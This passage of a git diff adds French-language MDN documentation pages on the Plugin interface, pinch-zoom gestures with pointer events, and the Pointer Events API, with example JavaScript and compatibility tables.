+   <td>{{SpecName('Permissions API')}}</td>
+   <td>{{Spec2('Permissions API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<h3 id="Permissions_interface"><code>Permissions</code> interface</h3>
+
+<div>
+
+
+<p>{{Compat("api.Permissions")}}</p>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Permissions_API/Using_the_Permissions_API">Using the Permissions API</a></li>
+ <li><a href="https://blog.addpipe.com/using-permissions-api-to-detect-getusermedia-responses/">Using the Permissions API to Detect How Often Users Allow or Deny Camera Access</a></li>
+</ul>
diff --git a/files/fr/web/api/plugin/index.html b/files/fr/web/api/plugin/index.html
new file mode 100644
index 0000000000..c7acb4f856
--- /dev/null
+++ b/files/fr/web/api/plugin/index.html
@@ -0,0 +1,130 @@
+---
+title: Plugin
+slug: Web/API/Plugin
+tags:
+  - API
+  - Add-ons
+  - DOM
+  - NeedsContent
+  - Plug-in
+  - Plugins
+translation_of: Web/API/Plugin
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>L'interface <code>Plugin</code> fournit des informations à propos d'un <a href="/en-US/docs/Mozilla/Add-ons/Plugins">plugin</a> du navigateur.</p>
+
+<div class="note">
+<p><strong>Remarque</strong>: Les propriétés propres des objets <code>Plugin</code> ne sont plus énumérables dans les dernières versions des navigateurs.</p>
+</div>
+
+<h2 id="Properties" name="Properties">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("Plugin.description")}} {{readonlyinline}}</dt>
+ <dd>Une description lisible du plugin.</dd>
+ <dt>{{domxref("Plugin.filename")}} {{readonlyinline}}</dt>
+ <dd>Le nom de fichier du fichier plugin.</dd>
+ <dt>{{domxref("Plugin.name")}} {{readonlyinline}}</dt>
+ <dd>Le nom du plugin.</dd>
+ <dt>{{domxref("Plugin.version")}} {{readonlyinline}}</dt>
+ <dd>Le numéro de version du plugin, en chaîne de caractères.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("Plugin.item")}}</dt>
+ <dd>Renvoie le type MIME d'un type de contenu pris en charge, en fonction de l'index dans une liste de types pris en charge.</dd>
+ <dt>{{domxref("Plugin.namedItem")}}</dt>
+ <dd>Renvoie le type MIME d'un élément pris en charge.</dd>
+</dl>
+
+<h2 id="Caractéristiques">Caractéristiques</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Caractéristique</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','#dom-plugin','Plugin')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités">Compatibilités</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Les paramètres de la méthode changent d'optionnel à requis.</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Les paramètres de la méthode changent d'optionnel à requis.</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/fr/web/api/pointer_events/gestes_pincer_zoom/index.html b/files/fr/web/api/pointer_events/gestes_pincer_zoom/index.html
new file mode 100644
index 0000000000..707b3e5eb3
--- /dev/null
+++ b/files/fr/web/api/pointer_events/gestes_pincer_zoom/index.html
@@ -0,0 +1,220 @@
+---
+title: Gestes pincer et zoomer
+slug: Web/API/Pointer_events/gestes_pincer_zoom
+tags:
+  - Guide
+  - PointerEvent
+  - touch
+translation_of: Web/API/Pointer_events/Pinch_zoom_gestures
+---
+<p>{{DefaultAPISidebar("Pointer Events")}}</p>
+
+<p>Ajouter la gestion des <em>gestes</em> à une application peut améliorer de manière significative l'expérience utilisateur. Il existe de nombreux types de gestes, du simple geste <em>swipe</em> (balayage de l'écran) aux gestes plus complexes avec plusieurs doigts comme le <em>twist</em> (rotation), où les points de contact (dits <em>pointeurs</em>) bougent dans des directions différentes.</p>
+
+<p>Cet exemple montre comment détecter les gestes de <em>pinch/zoom</em> (pincer/zoomer), en utilisant les {{domxref("Pointer_events","événements de pointeur")}} pour détecter si l'utilisateur bouge deux pointeurs plus proches ou plus loin l'un de l'autre. </p>
+
+<div class="note">
+<p><strong>Note</strong>: Une version <em>en direct</em> de cette application est disponible sur <a href="https://mdn.github.io/dom-examples/pointerevents/Pinch_zoom_gestures.html">Github</a>. Le <a href="https://github.com/mdn/dom-examples/blob/master/pointerevents/Pinch_zoom_gestures.html">code source est également disponible sur Github</a>; les pull requests et <a href="https://github.com/mdn/dom-examples/issues">bug reports</a> sont les bienvenus.</p>
+</div>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, on utilise les {{domxref("Pointer_events","événement de pointeur")}} pour détecter simultanément plusieurs appareils de pointage quel qu'en soit le type, comme les doigts, la souris, et le stylet. Le geste de pincer (zoomer), qui consiste à déplacer deux pointeurs plus près l'un vers l'autre, change la couleur d'arrière-plan de l'élément cible en  <code>lightblue</code>. Le geste d'étirer (dézoomer), qui consiste à déplacer deux pointeur plus loin l'un de l'autre, change la couleur d'arrière-plan de l'élément cible en <code>pink</code>.</p>
+
+<h3 id="Définir_la_cible_du_toucher">Définir la cible du toucher</h3>
+
+<p>L'application utilise un {{HTMLElement("div")}} pour définir la zone cible du pointeur.</p>
+
+<pre class="brush: html">&lt;style&gt;
+  div {
+    margin: 0em;
+    padding: 2em;
+  }
+  #target {
+    background: white;
+    border: 1px solid black;
+  }
+&lt;/style&gt;
+</pre>
+
+<h3 id="État_global">État global</h3>
+
+<p>Prendre en charge un mouvement à deux pointeurs nécessite de conserver un état des événements du pointeur durant les différentes phases de l'événement. Cette application utilise deux variables globales pour mettre en cache l'état de l'événement.</p>
+
+<pre class="brush: js">// Variables globales pour mettre en cache l'état de l'événement
+var evCache = new Array();
+var prevDiff = -1;
+</pre>
+
+<h3 id="Enregistrer_les_gestionnaires_d'événement">Enregistrer les gestionnaires d'événement</h3>
+
+<p>Les gestionnaires d'événement sont enregistrés pour les événements de pointeur suivants: {{event("pointerdown")}}, {{event("pointermove")}} et {{event("pointerup")}}. Le gestionnaire pour {{event("pointerup")}} est utilisé pour les événements {{event("pointercancel")}}, {{event("pointerout")}} et {{event("pointerleave")}} puisque ces quatre événements ont la même sémantique dans cette application.</p>
+
+<pre class="brush: js">function init() {
+ // Ajoute les gestionnaires d'événements pour la cible du pointeur
+ var el=document.getElementById("target");
+ el.onpointerdown = pointerdown_handler;
+ el.onpointermove = pointermove_handler;
+
+ // Même chose pour les événements pointer{up,cancel,out,leave} puisque
+ // la sémantique pour ces événements - dans cette appli - est identique.
+ el.onpointerup = pointerup_handler;
+ el.onpointercancel = pointerup_handler;
+ el.onpointerout = pointerup_handler;
+ el.onpointerleave = pointerup_handler;
+}
+</pre>
+
+<h3 id="Pointer_down">Pointer down</h3>
+
+<p>L'événement {{event("pointerdown")}} est déclenché quand un pointeur (souris, stylo/stylet ou point de contact sur un écran tactile) entre en contact avec la <em>surface de contact</em>. Dans cette application, l'état de l'événement doit être mis en cache dans le cas où il fait partie d'un geste à deux pointeurs pour pincer/zoomer.</p>
+
+<pre class="brush: js">function pointerdown_handler(ev) {
+ // L'événement pointerdown signale le début d'une interraction de toucher.
+ // L'événement est mis en cache pour prendre en charge les gestes à 2 doigts
+ evCache.push(ev);
+ log("pointerDown", ev);
+}
+</pre>
+
+<h3 id="Pointer_move">Pointer move</h3>
+
+<p>Le gestionnaire d'événement {{event("pointermove")}} détecte si un utilisateur est en train d'effectuer le geste de pincer/zoomer. Si deux pointeurs sont utilisés, et que la distance entre les pointeurs augmente (ce qui signifie qu'on étire ou dézoome), la couleur d'arrière-plan est changée en <code>pink</code>, et si la distance entre les pointeurs diminue (ce qui signifie qu'on pince ou dézoome), la couleur d'arrière-plan est changée en <code>lightblue</code>. Dans une application plus sophistiquée, le pincement ou l'étirement pourrait être utilisé pour appliquer une sémantique spécifique à l'application.</p>
+
+<p>Quand cet événement est traité, la bordure de la cible est définie à <code>dashed</code> pour fournir une indication visuelle claire que l'élément a reçu un événement de déplacement.</p>
+
+<pre class="brush: js">function pointermove_handler(ev) {
+ // Cette fonction implémente la détection du mouvement horizontal pincer/zoomer.
+ //
+ // Si la distance entre les deux pointeurs augmente (zoomer),
+ // l'arrière-plan de l'élément cible est changé en "pink" et si la
+ // distance diminue (dezoomer), la couleur est changée en "lightblue".
+ //
+ // Cette fonctionne définie la bordure de l'élément cible à "dashed" pour indiquer
+ // visuellement que la cible du pointeur a reçu un événement de déplacement.
+ log("pointerMove", ev);
+ ev.target.style.border = "dashed";
+
+ // Trouve le pointeur en cours dans le cache et le met à jour avec cet événement
+ for (var i = 0; i &lt; evCache.length; i++) {
+   if (ev.pointerId == evCache[i].pointerId) {
+      evCache[i] = ev;
+      break;
+   }
+ }
+
+ // Si deux pointeurs sont utilisés, vérifie le geste de pincement
+ if (evCache.length == 2) {
+   // Calcule la distance entre les deux pointeurs
+   var curDiff = Math.abs(evCache[0].clientX - evCache[1].clientX);
+
+   if (prevDiff &gt; 0) {
+     if (curDiff &gt; prevDiff) {
+       // La distance entre les deux pointeurs a augmenté
+       log("Pinch moving OUT -&gt; Zoom in", ev);
+       ev.target.style.background = "pink";
+     }
+     if (curDiff &lt; prevDiff) {
+       // La distance entre les deux pointeurs a diminué
+       log("Pinch moving IN -&gt; Zoom out",ev);
+       ev.target.style.background = "lightblue";
+     }
+   }
+
+   // Met en cache la distance pour les événements suivants
+   prevDiff = curDiff;
+ }
+}
+</pre>
+
+<h3 id="Pointer_up">Pointer up</h3>
+
+<p>L'événement {{event("pointerup")}} est déclenché quand le pointeur est levé de la <em>surface de contact</em>. Quand cela arrive, l'événement est retiré du cache et la couleur d'arrière-plan et bordure de la cible sont rétablies à leur valeur d'origine.</p>
+
+<p>Dans cette application, ce gestionnaire est également utilisé pour les événements {{event("pointercancel")}}, {{event("pointerleave")}} et {{event("pointerout")}}.</p>
+
+<pre class="brush: js">function pointerup_handler(ev) {
+  log(ev.type, ev);
+  // Retire ce pointeur du cache et rétablit l'arrière-plan et
+  // et bordure de la cible
+  remove_event(ev);
+  ev.target.style.background = "white";
+  ev.target.style.border = "1px solid black";
+
+  // Si le nombre de pointeurs restant est inférieur à deux, remet à zéro la différence
+  if (evCache.length &lt; 2) prevDiff = -1;
+}
+</pre>
+
+<h3 id="Application_UI">Application UI</h3>
+
+<p>Cette application utilise un élément {{HTMLElement("div")}} comme zone de toucher et fournit des boutons pour activer et nettoyer les logs.</p>
+
+<p class="note">Pour empêcher que le comportement par défaut du navigateur au toucher surcharge le gestionnaire de l'application, la propriété {{cssxref("touch-action")}} est appliquée à l'élément {{HTMLElement("body")}}.</p>
+
+<pre class="brush: html">&lt;body onload="init();" style="touch-action:none"&gt;
+ &lt;div id="target"&gt;Touchez l'écran avec deux pointeurs, puis pincez ou étirez.&lt;br/&gt;
+    La couleur d'arrière-plan changera en rose au pincement (Zoomer)
+    ou en bleu clair à l'étirement (Dézoomer).&lt;/div&gt;
+ &lt;!-- UI pour log/debug --&gt;
+ &lt;button id="log" onclick="enableLog(event);"&gt;Démarrer/Stopper les logs&lt;/button&gt;
+ &lt;button id="clearlog" onclick="clearLog(event);"&gt;Nettoyer les logs&lt;/button&gt;
+ &lt;p&gt;&lt;/p&gt;
+ &lt;output&gt;&lt;/output&gt;
+&lt;/body&gt;
+</pre>
+
+<h3 id="Fonctions_diverses">Fonctions diverses</h3>
+
+<p>Ces fonctions prennent en charge l'application mais ne sont pas directement impliquées dans le flux des événements.</p>
+
+<h4 id="Gestion_du_Cache">Gestion du Cache</h4>
+
+<p>Cette fonction aide à gérer le cache global des événements, <code>evCache</code>.</p>
+
+<pre class="brush: js">function remove_event(ev) {
+ // Supprime l'événement du cache
+ for (var i = 0; i &lt; evCache.length; i++) {
+   if (evCache[i].pointerId == ev.pointerId) {
+     evCache.splice(i, 1);
+     break;
+   }
+ }
+}
+</pre>
+
+<h4 id="Log_des_événements">Log des événements</h4>
+
+<p>Ces fonctions sont utilisées pour afficher l'activité du pointeur dans la fenêtre de l'application (pour aider à debugger et à apprendre le flux des événements).</p>
+
+<pre class="brush: js">// Flag log
+var logEvents = false;
+
+// Fonctions Log/debug
+function enableLog(ev) {
+  logEvents = logEvents ? false : true;
+}
+
+function log(prefix, ev) {
+  if (!logEvents) return;
+  var o = document.getElementsByTagName('output')[0];
+  var s = prefix + ": pointerID = " + ev.pointerId +
+                " ; pointerType = " + ev.pointerType +
+                " ; isPrimary = " + ev.isPrimary;
+  o.innerHTML += s + "
+";
+}
+
+function clearLog(event) {
+ var o = document.getElementsByTagName('output')[0];
+ o.innerHTML = "";
+}
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2015/08/pointer-events-now-in-firefox-nightly/">Pointer Events now in Firefox Nightly</a>; Mozilla Hacks; by Matt Brubeck and Jason Weathersby; 2015-Aug-04</li>
+ <li><a href="https://github.com/jquery/PEP">jQuery Pointer Events Polyfill</a></li>
+ <li><a href="http://www.google.com/design/spec/patterns/gestures.html">Gestures</a>; Google Design Patterns</li>
+</ul>
diff --git a/files/fr/web/api/pointer_events/index.html b/files/fr/web/api/pointer_events/index.html
new file mode 100644
index 0000000000..b8f5de1c8b
--- /dev/null
+++ b/files/fr/web/api/pointer_events/index.html
@@ -0,0 +1,433 @@
+---
+title: Événements de pointeur
+slug: Web/API/Pointer_events
+tags:
+  - API
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/API/Pointer_events
+---
+<p>{{DefaultAPISidebar("Pointer Events")}}</p>
+
+<p>La plupart du contenu web d'aujourd'hui suppose que le périphérique de pointage de l'utilisateur sera une souris. Cependant, beaucoup d'appareils prennent en charge d'autres types de d'entrée pour pointeur, comme le stylet ou les doigts pour les écrans tactiles. Des extensions aux modèles d'événement de pointage sont nécessaires et les <em>événements de pointeur</em> répondent à ce besoin.</p>
+
+<p>Les événements de pointeur sont des événements DOM déclenché pour tout périphérique de pointage. Ils sont conçus pour créer un modèle unique d'événement DOM pour gérer les périphériques de pointage comme la souris, le stylet ou le toucher (avec un ou plusieurs doigts). Un <em><a href="#term_pointer">pointeur</a></em> est agnostique du type de matériel utilisé pour cibler un endroit sur l'écran.</p>
+
+<p>Avoir un seul modèle pour gérer les événements de pointeur peut simplifier la création de sites web et applications et fournir une bonne expérience utilisateur quelque soit le matériel de l'utilisateur. Toutefois, pour les scénarios dans lesquels une gestion spécifique au périphérique est souhaitée, les événements de pointeur définissent une propriété {{domxref("PointerEvent.pointerType","pointerType")}} qui permet de connaître le type de périphérique ayant déclenché l'événement.</p>
+
+<p>Les événements nécessaires pour gérer les entrées de pointeur génériques sont analogues aux {{domxref("MouseEvent","événements de souris")}}. Par conséquent, les types d'événement de pointeur sont intentionnelement similaires aux événements de souris (<code>mousedown/pointerdown</code>, <code>mousemove/pointermove</code>, etc). De plus, les événements de pointeur contiennent les propriétés usuelles présentes dans les événements de souris (coordonnées client, élément cible, états des boutons, etc.) ainsi que de nouvelles propriétés pour les autres types d'entrée: pression, géométrie de contact, inclinaison, etc. En fait, l'interface {{domxref("PointerEvent")}} hérite toutes les propriétés de {{domxref("MouseEvent","MouseEvent")}} ce qui facilite la migration des événements souris aux événements de pointeur.</p>
+
+<h2 id="Terminologie">Terminologie</h2>
+
+<dl>
+ <dt>pointeur actif</dt>
+ <dd>Tout périphérique d'entrée <em><a href="#term_pointer">pointeur</a></em> pouvant produire des événements. Un pointeur est considéré actif s'il peut encore produire des événements. Par exemple, un stylet posé sur l'écran est considéré comme actif puisqu'il peut produire des événements en étant déplacé ou levé.</dd>
+ <dt id="term_digitizer">numériseur (digitizer)</dt>
+ <dd>Un dispositif avec une surface pouvant recevoir et détecter le contact. Le plus souvent, le dispositif est un écran tactile pouvant détecter l'entrée provenant du stylet ou du doigt.</dd>
+ <dt id="term_hit_test">hit test</dt>
+ <dd>Le procédé qu'utilise le navigateur pour détermine l'élément cible de l'événement pointeur. Typiquement, il est déterminé en utilisant l'emplacement du pointeur et la disposition visuelle des éléments dans un document d'un media écran.</dd>
+ <dt id="term_pointer">pointeur</dt>
+ <dd>Une représentation agnostique du périphérique en entrée pouvant cibler des coordonnées sur un écran. Des exemples d'appareils de <em>pointeur</em> sont la souris, le stylet et la contact tactile.</dd>
+ <dt>capture du pointeur</dt>
+ <dd>La capture du pointeur permet aux événements d'être redirigé vers un élément particulier autre que le résultat du hit test.</dd>
+ <dt id="term_pointer_event">événement de pointeur</dt>
+ <dd>Un {{domxref("PointerEvent","événement")}} DOM déclenché pour un <em><a href="#term_pointer">pointeur</a></em>.</dd>
+</dl>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p>L'interface principale est l'interface {{domxref("PointerEvent")}}, qui comprend un {{domxref("PointerEvent.PointerEvent","constructeur")}} ainsi que plusieurs événements. L'API ajoute également quelques extensions aux interfaces {{domxref("Element")}} et {{domxref("Navigator")}}. Les sous-sections suivantes décrivent brièvement chaque interface et propriétés liées.</p>
+
+<h3 id="Interface_PointerEvent">Interface PointerEvent</h3>
+
+<p>L'interface {{domxref("PointerEvent")}} hérite de l'interface {{domxref("MouseEvent")}} et a les propriétés suivantes (toutes sont {{readonlyInline}}).</p>
+
+<ul>
+ <li>{{ domxref('PointerEvent.pointerId','pointerId')}} - un identifiant unique pour le pointeur ayant déclenché l'événement.</li>
+ <li>{{ domxref('PointerEvent.width','width')}} - la largeur (ordre de grandeur sur l'axe X), en pixels CSS, du point de contact.</li>
+ <li>{{ domxref('PointerEvent.height','height')}} - la hauteur (ordre de grandeur sur l'axe Y), en pixels CSS, du point de contact.</li>
+ <li>{{ domxref('PointerEvent.pressure','pressure')}} - la pression du pointeur normalisée sur une échelle entre 0 et 1, où 0 et 1 représentent respectivement la pression minimale et le maximale que l'appareil est capable de détecter.</li>
+ <li>{{ domxref('PointerEvent.tiltX','tiltX')}} - l'angle du plan (en degrés, sur une échelle de -90 à 90) entre le plan Y-Z et le plan qui contient l'axe du stylo et l'axe Y.</li>
+ <li>{{ domxref('PointerEvent.tiltY','tiltY')}} - l'angle du plan (en degrés, sur une échelle de -90 à 90) entre le plan X-Z et le plan qui contient l'axe du stylo et l'axe X.</li>
+ <li>{{ domxref('PointerEvent.pointerType','pointerType')}} - indique le type d'appareil ayant déclenché l'événement (souris, stylet, toucher, etc.)</li>
+ <li>{{ domxref('PointerEvent.isPrimary','isPrimary')}} - indique si le pointeur est le pointeur principal de son type (utile dans le cas du multi-touch).</li>
+</ul>
+
+<h3 id="Types_dévénements_et_gestionnaires_dévénements_globaux">Types d'événements et gestionnaires d'événements globaux</h3>
+
+<p>Il existe dix types d'événement de pointeur, dont sept qui ont la même sémantique que les événements souris (<code>down, up, move, over, out, enter, leave</code>). Vous trouverez ci-dessous une courte description de chaque type d'événement et son {{domxref("GlobalEventHandlers","gestionnaire d'événement global")}} associé.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Event</th>
+   <th scope="col">On Event Handler</th>
+   <th scope="col">Description</th>
+  </tr>
+  <tr>
+   <td>{{event('pointerover')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerover','onpointerover')}}</td>
+   <td>déclenché quand un pointeur entre à l'intérieur des limites du <a href="#term_hit_test">hit test</a> d'un élément.</td>
+  </tr>
+  <tr>
+   <td>{{event('pointerenter')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerenter','onpointerenter')}}</td>
+   <td>déclenché quand un pointeur entre à l'intérieur des limites du <a href="#term_hit_test">hit test</a> d'un élément ou d'un de ses descendants.</td>
+  </tr>
+  <tr>
+   <td>{{event('pointerdown')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerdown','onpointerdown')}}</td>
+   <td>déclenché quand le pointeur devient <em>actif</em> (que le contact est établit).</td>
+  </tr>
+  <tr>
+   <td>{{event('pointermove')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointermove','onpointermove')}}</td>
+   <td>déclenché quand les coordonnées du pointeur changent (que le pointeur bouge).</td>
+  </tr>
+  <tr>
+   <td>{{event('pointerup')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerup','onpointerup')}}</td>
+   <td>déclenché quand le pointeur n'est plus <em>actif</em> (que le contact est relaché).</td>
+  </tr>
+  <tr>
+   <td>{{event('pointercancel')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointercancel','onpointercancel')}}</td>
+   <td>le navigateur déclenche cet événement s'il détecte que le pointeur ne pourra plus générer d'événement (si l'appareil est désactivé par exemple).</td>
+  </tr>
+  <tr>
+   <td>{{event('pointerout')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerout','onpointerout')}}</td>
+   <td>déclenché quand le pointeur n'est plus affecté à l'élément: qu'il sort des limites du <a href="term_hit_test">hit test</a> de l'élément; qu'il déclenche l'événement pointerup ou pointercancel; que le stylet sort de la zone de l'écran de l'appareil.</td>
+  </tr>
+  <tr>
+   <td>{{event('pointerleave')}}</td>
+   <td>{{domxref('GlobalEventHandlers.onpointerleave','onpointerleave')}}</td>
+   <td>déclenché quand le pointeur sort des limites du <a href="term_hit_test">hit test</a> de l'élément. Cet événement est également déclenché lorsqu'on utilise un stylet et qu'il sort de la zone détectable par le numériseur.</td>
+  </tr>
+  <tr>
+   <td>{{event('gotpointercapture')}}</td>
+   <td>Aucun (voir <a href="#Extensions_d'Element">Extensions d'Elements</a>)</td>
+   <td>déclenché quand un élément reçoit la capture du pointeur.</td>
+  </tr>
+  <tr>
+   <td>{{event('lostpointercapture')}}</td>
+   <td>Aucun (voir <a href="#Extensions_d'Element">Extensions d'Element</a>)</td>
+   <td>déclenché quand la capture du pointeur est désactivée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Extensions_dElement">Extensions d'Element</h3>
+
+<p>Il existe quatre extensions à l'interface {{domxref("Element")}}:</p>
+
+<ul>
+ <li>{{domxref("Element.ongotpointercapture","ongotpointercapture")}} - an EventHandler that returns the event handler (function) for the gotpointercapture event type.</li>
+ <li>{{domxref("Element.onlostpointercapture","onlostpointercapture")}} - an EventHandler interface that returns the event handler (function) for the lostpointercapture event type.</li>
+ <li>{{domxref("Element.setPointerCapture()","setPointerCapture()")}} - this method designates a specific element as the <em>capture target</em> of future pointer events.</li>
+ <li>{{domxref("Element.releasePointerCapture()","releasePointerCapture()")}} - the method releases (stops) <em>pointer capture</em> that was previously set for a specific pointer event.</li>
+</ul>
+
+<h3 id="Extension_de_Navigator">Extension de Navigator</h3>
+
+<p>La propriété {{domxref("Navigator.maxTouchPoints")}} est utilisé pour déterminer le nombre maximum de points de contact pris en charge à n'importe quel moment.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cette section contient des exemples basiques d'utilisation d'interfaces d'événement de pointeur.</p>
+
+<h3 id="Enregistrer_des_gestionnaires_dévénement">Enregistrer des gestionnaires d'événement</h3>
+
+<p>This example registers a handler for every event type for the given element.</p>
+
+<pre class="brush: js notranslate">&lt;html&gt;
+&lt;script&gt;
+function over_handler(event) { }
+function enter_handler(event) { }
+function down_handler(event) { }
+function move_handler(event) { }
+function up_handler(event) { }
+function cancel_handler(event) { }
+function out_handler(event) { }
+function leave_handler(event) { }
+function gotcapture_handler(event) { }
+function lostcapture_handler(event) { }
+
+function init() {
+ var el=document.getElementById("target");
+ // Register pointer event handlers
+ el.onpointerover = over_handler;
+ el.onpointerenter = enter_handler;
+ el.onpointerdown = down_handler;
+ el.onpointermove = move_handler;
+ el.onpointerup = up_handler;
+ el.onpointercancel = cancel_handler;
+ el.onpointerout = out_handler;
+ el.onpointerleave = leave_handler;
+ el.gotpointercapture = gotcapture_handler;
+ el.lostpointercapture = lostcapture_handler;
+}
+&lt;/script&gt;
+&lt;body onload="init();"&gt;
+&lt;div id="target"&gt; Touch me ... &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Propriétés_des_événements">Propriétés des événements</h3>
+
+<p>This example illustrates accessing all of a touch event's properties.</p>
+
+<pre class="brush: js notranslate">&lt;html&gt;
+&lt;script&gt;
+var id = -1;
+
+function process_id(event) {
+  // Process this event based on the event's identifier
+}
+function process_mouse(event) {
+  // Process the mouse pointer event
+}
+function process_pen(event) {
+  // Process the pen pointer event
+}
+function process_touch(event) {
+  // Process the touch pointer event
+}
+function process_tilt(tiltX, tiltY) {
+  // Tilt data handler
+}
+function process_pressure(pressure) {
+  // Pressure handler
+}
+function process_non_primary(event) {
+  // Pressure handler
+}
+
+function down_handler(ev) {
+ // Calculate the touch point's contact area
+ var area = ev.width * ev.height;
+
+ // Compare cached id with this event's id and process accordingly
+ if (id == ev.identifier) process_id(ev);
+
+ // Call the appropriate pointer type handler
+ switch (ev.pointerType) {
+   case "mouse":
+     process_mouse(ev);
+     break;
+   case "pen":
+     process_pen(ev);
+     break;
+   case "touch":
+     process_touch(ev);
+     break;
+   default:
+     console.log("pointerType " + ev.pointerType + " is Not suported");
+ }
+
+ // Call the tilt handler
+ if (ev.tiltX != 0 &amp;&amp; ev.tiltY != 0) process_tilt(ev.tiltX, ev.tiltY);
+
+ // Call the pressure handler
+ process_pressure(ev.pressure);
+
+ // If this event is not primary, call the non primary handler
+ if (!ev.isPrimary) process_non_primary(evt);
+}
+
+function init() {
+ var el=document.getElementById("target");
+ // Register pointerdown handler
+ el.onpointerdown = down_handler;
+}
+&lt;/script&gt;
+&lt;body onload="init();"&gt;
+ &lt;div id="target"&gt; Touch me ... &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Déterminer_le_pointeur_principal">Déterminer le pointeur principal</h2>
+
+<p>In some scenarios there may be multiple pointers (for example a device with both a touchscreen and a mouse) or a pointer supports multiple contact points (for example a touchscreen that supports multiple finger touches). The application can use the {{domxref("PointerEvent.isPrimary","isPrimary")}} property to identify a master pointer among the set of <em>active pointers</em> for each pointer type. If an application only wants to support a primary pointer, it can ignore all pointer events that are not primary.</p>
+
+<p>For mouse, there is only one pointer so it will always be the primary pointer. For touch input, a pointer is considered primary if the user touched the screen when there were no other active touches. For pen and stylus input, a pointer is considered primary if the user's pen initially contacted the screen when there were no other active pens contacting the screen.</p>
+
+<h2 id="Déterminer_létat_des_boutons">Déterminer l'état des boutons</h2>
+
+<p>Some pointer devices, such as mouse and pen, support multiple buttons and the button presses can be <em>chorded</em> i.e. depressing an additional button while another button on the pointer device is already depressed. To determine the state of button presses, pointer events uses the {{domxref("MouseEvent.button","button")}} and {{domxref("MouseEvent.buttons","buttons")}} properties of the {{domxref("MouseEvent")}} interface (that {{domxref("PointerEvent")}} inherits from). The following table provides the values of <code>button</code> and <code>buttons</code> for the various device button states.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Device Button State</th>
+   <th scope="col">button</th>
+   <th scope="col">buttons</th>
+  </tr>
+  <tr>
+   <td>Mouse move with no buttons pressed</td>
+   <td>-1</td>
+   <td>0</td>
+  </tr>
+  <tr>
+   <td>Left Mouse, Touch Contact, Pen contact (with no modifier buttons pressed)</td>
+   <td>0</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td>Middle Mouse</td>
+   <td>1</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Right Mouse, Pen contact with barrel button pressed</td>
+   <td>2</td>
+   <td>2</td>
+  </tr>
+  <tr>
+   <td>X1 (back) Mouse</td>
+   <td>3</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>X2 (forward) Mouse</td>
+   <td>4</td>
+   <td>16</td>
+  </tr>
+  <tr>
+   <td>Pen contact with eraser button pressed</td>
+   <td>5</td>
+   <td>32</td>
+  </tr>
+ </tbody>
+</table>
+
